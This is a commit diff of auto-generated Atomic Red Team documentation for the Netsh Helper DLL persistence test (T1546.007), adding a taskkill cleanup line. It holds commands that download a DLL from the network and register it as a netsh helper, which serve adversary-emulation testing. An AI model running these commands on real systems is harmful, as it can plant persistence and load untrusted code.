Generated docs from job=generate-docs branch=master [ci skip]
This commit is contained in:
@@ -41303,9 +41303,9 @@ privilege-escalation:
|
||||
New-Item -Type Directory (split-path #{helper_file}) -ErrorAction ignore | Out-Null
|
||||
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll" -OutFile "#{helper_file}"
|
||||
executor:
|
||||
command: 'netsh.exe add helper #{helper_file}
|
||||
|
||||
'
|
||||
command: |
|
||||
netsh.exe add helper #{helper_file}
|
||||
taskkill /im notepad.exe /t /f > NUL 2>&1
|
||||
cleanup_command: 'netsh.exe delete helper #{helper_file}
|
||||
|
||||
'
|
||||
@@ -64377,9 +64377,9 @@ persistence:
|
||||
New-Item -Type Directory (split-path #{helper_file}) -ErrorAction ignore | Out-Null
|
||||
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll" -OutFile "#{helper_file}"
|
||||
executor:
|
||||
command: 'netsh.exe add helper #{helper_file}
|
||||
|
||||
'
|
||||
command: |
|
||||
netsh.exe add helper #{helper_file}
|
||||
taskkill /im notepad.exe /t /f > NUL 2>&1
|
||||
cleanup_command: 'netsh.exe delete helper #{helper_file}
|
||||
|
||||
'
|
||||
|
||||
@@ -38,6 +38,7 @@ The NetshHelper.dll provided with the atomic will simply launch notepad when net
|
||||
|
||||
```cmd
|
||||
netsh.exe add helper #{helper_file}
|
||||
taskkill /im notepad.exe /t /f > NUL 2>&1
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
|
||||
Reference in New Issue
Block a user